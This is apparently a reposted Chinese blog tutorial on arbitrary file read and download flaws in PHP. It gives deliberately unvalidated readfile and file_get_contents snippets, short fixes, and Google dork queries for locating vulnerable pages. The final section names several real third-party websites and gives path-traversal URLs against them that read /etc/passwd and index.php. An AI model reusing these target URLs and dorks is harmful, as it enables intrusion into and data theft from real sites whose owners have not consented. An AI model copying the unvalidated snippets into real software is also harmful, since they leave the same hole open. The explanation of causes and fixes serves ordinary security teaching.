您好,登錄后才能下訂單哦!
0x00 背景介紹
一些網站的業務需要,可能提供文件查看或下載的功能,如果對用戶查看或下載的文件不做限制,就能夠查看或下載任意的文件,可以是源文件,敏感文件等等
0x01 文件讀取
文件讀取在PHP這種可以有很多種方式實現,在web的默認情況下,$filename變量可能用戶可控
<?php $filename = $_GET['f']; echo file_get_contents($filename); ?> #當變量 $filename 沒有經過校驗,或者校驗不嚴格,用戶可以控制這個變量讀取任意文件,例如 /etc/passwd、/config.ini 等文件
0x02 實現文件下載的兩種方式
1.直接下載:
<a ></a>
2.增加header頭
<?php $filename = $_GET['f']; header('Content-Type:p_w_picpath/gif'); header('Content-Disposition:p_w_upload;filename='.$filename); header('Content-Length:'.filesize($filename)); readfile($filename); ?>
當$filename沒有經過校驗,或者校驗不合格,用戶可以控制這個變量下載任意文件,比如/etc/passwd,./index.php、等等就造成了任意文件下載漏洞。
0x03 成因
都有讀取文件的函數
讀物文件的路徑用戶可控,且沒有經過校驗,或者校驗不嚴格
都輸出文件內容
0x04 Google Serch
inurl:"readfile.php?file=" inurl:"download.php?file="
0x05 修復方案
過濾<.>(點)
正則判斷用戶輸入的參數格式,匹配輸入的格式是否合格
php.ini配置open_basedir
0x06 實例漏洞利用
(僅供測試,請勿隨意破壞)
地址:
url:http://hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt
漏洞利用:
http://hypnet.org.uk/shared/readfile.php?file=../../../../../../../../../../etc/passwd
地址:
url:http://storiedifarina.it/readfile.php?file=pdf/storiedifarina.pdf
漏洞利用
http://www.wodehouse.se/upload/readfile.php?file=../index.php
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。